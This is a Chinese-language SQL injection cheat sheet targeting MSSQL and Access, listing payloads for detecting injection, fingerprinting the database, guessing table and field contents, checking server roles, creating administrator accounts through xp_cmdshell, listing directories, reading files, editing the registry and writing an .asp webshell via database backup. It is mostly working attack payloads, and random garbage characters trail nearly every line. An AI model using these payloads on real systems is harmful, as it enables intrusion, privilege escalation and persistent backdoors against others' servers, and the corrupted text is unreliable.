1.判断是否有注入;and 1=1 ;and 1=2 3?&h^UX
2.初步判断是否是mssql ;and user>0 r.0oxH']
YxJD _R
3.注入参数是字符'and [查询条件] and ''=' HEA eo!
>5T_g2pkv
4.搜索时没过滤参数的'and [查询条件] and '%25'=' 7+w'Y<mJ
N~ANjn/wL
5.判断数据库系统 kcB+ _
&@ 3m-Z
;and (select count(*) from sysobjects)>0 mssql !MQN H
(
#&|Dp^'
;and (select count(*) from msysobjects)>0 access T}7uew\v0<
(Y(E%
@;wzsh >o
dV 8iwI
6.猜数据库 ;and (select Count(*) from [数据库名])>0 x O7IzqY
rsa&Oo
D>
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 8O1K[sEjui
H^1gy=kdj
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 7 gB{In0
xn}BB}s{t
9.(1)猜字段的ascii值(access) *@ED}Mj+
u}6v?!
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 w?csV8ot
!NKmx=I]
(2)猜字段的ascii值(mssql) oN(-rWdhZ
OuIv e>8
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ;K:8#XuV
%IBL0NQT
10.测试权限结构(mssql) [;O^[Iybf:
(foBp
u@%|kc`
e,A)U5X
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- YnV/M,U
g dj^df+2F
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- |)_-Bi;MW`
:u%$0p>
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ZI ?W5ISdg
6ew "fCrH!
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 4}KU>9YRA
!D.0 (J
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- j
nwQV
BQ05`nkF
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ^&c$[~W
nv5u%B^
;and 1=(select IS_MEMBER('db_owner'));-- -+U/Lrt>8
)WR_
ug
8
|h9sn;P
FuP/tTMU1a
11.添加mssql和系统的帐户 =?0QqCjK)
'b:Ne,<
;exec master.dbo.sp_addlogin username;-- ecH/Wz1
;exec master.dbo.sp_password null,username,password;-- kRIB<@{
F@YV]u>N
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- lWy=)^)4
s ?l%L!
;exec master.dbo.xp_cmdshell 'net user username password =;c_} VY
B!aK
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- a}.Y!O&
: \V,k~asl
;exec master.dbo.xp_cmdshell 'net user username password /add';-- E1>/R
m[2'd
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- :X .,
Na!za'qk[o
OKwOugi0
0|)19LR
12.(1)遍历目录 }WP-W
;MTz]c
;create table dirs(paths varchar(100), id int) I>w^2(y
zJ& b|L
;insert dirs exec master.dbo.xp_dirtree 'c:\' >mIg@knE
5)lW
;and (select top 1 paths from dirs)>0 W$\X ~Q'0
fB#XhO
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) !jh%}JJ
5A_4\YpDR
`n-vjjG%#
I
8Y*@$h
(2)遍历目录 &y:CW>T$/X
<Dw]yGK@
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 6`puTL?
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 9d[qhkPu)
Z6=~1'<X
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 &`:rp!Lc
,# "(Z
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 ^Qh-(u`
IbdM9qo7
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 A'eAu
6
nGY^
-gKpL\
0P 5BArJ?
13.mssql中的存储过程 kP,7Li\
r#~K[qb
xp_regenumvalues 注册表根键, 子键 V;[p438o
m<fA|9 F#
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 yU`:IMz
\C\gn]Z
xp_regread 根键,子键,键值名 0o68rF5^s
cgNt_8qC
;exec xp_regread Lbq_~
>C2HC6O3
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 +J40wFI:y
_.f@Y`4d
xp_regwrite 根键,子键, 值名, 值类型, 值 -^fzsBL.
1~qm+nET\
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 9A;6x$s
wA0eG@xi)
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 o8D{dS>,PL
;6<zjV7}
xp_regdeletevalue 根键,子键,值名 %aLCH\e
k&DGJ5m$.
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 :,C%01bH|l
]%XK)[:5_=
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 y\_wW E
-lp"#^ ;
^-L{/'[8M
rsSue_Q
14.mssql的backup创建webshell 6:RMU
g3a/;wl
use model OWV/kz5'H
[#X|+M&u6
create table cmd(str image); k|ip?O
F^sw0 .b
insert into cmd(str) values (''); h3t$>vs2F"
;tN4HiN
backup database model to disk='c:\l.asp'; [`bZ5*&
*SGlqR['\e
t,?,F4j
z_)`g`($
15.mssql内置函数 z+6QZQk
Hd*Fc=>"Y
;and (select @@version)>0 获得Windows的版本号 5byeWH0n3
|B|@GF?:
;and user_name()='dbo' 判断当前系统的连接用户是不是sa pU DO7Q]
r9;`
;and (select user_name())>0 爆当前系统的连接用户 |J?:91
,9UCb$mh
;and (select db_name())>0 得到当前连接的数据库 Gy^FrF
g =x"cs/[
z"av|(?d
d
qpgf@
16.简洁的webshell 0:PSt_33F
w7ZG oh(
use model r:#Q9EA
;r@!a!NLB
create table cmd(str image); =WjJN Q
5l&j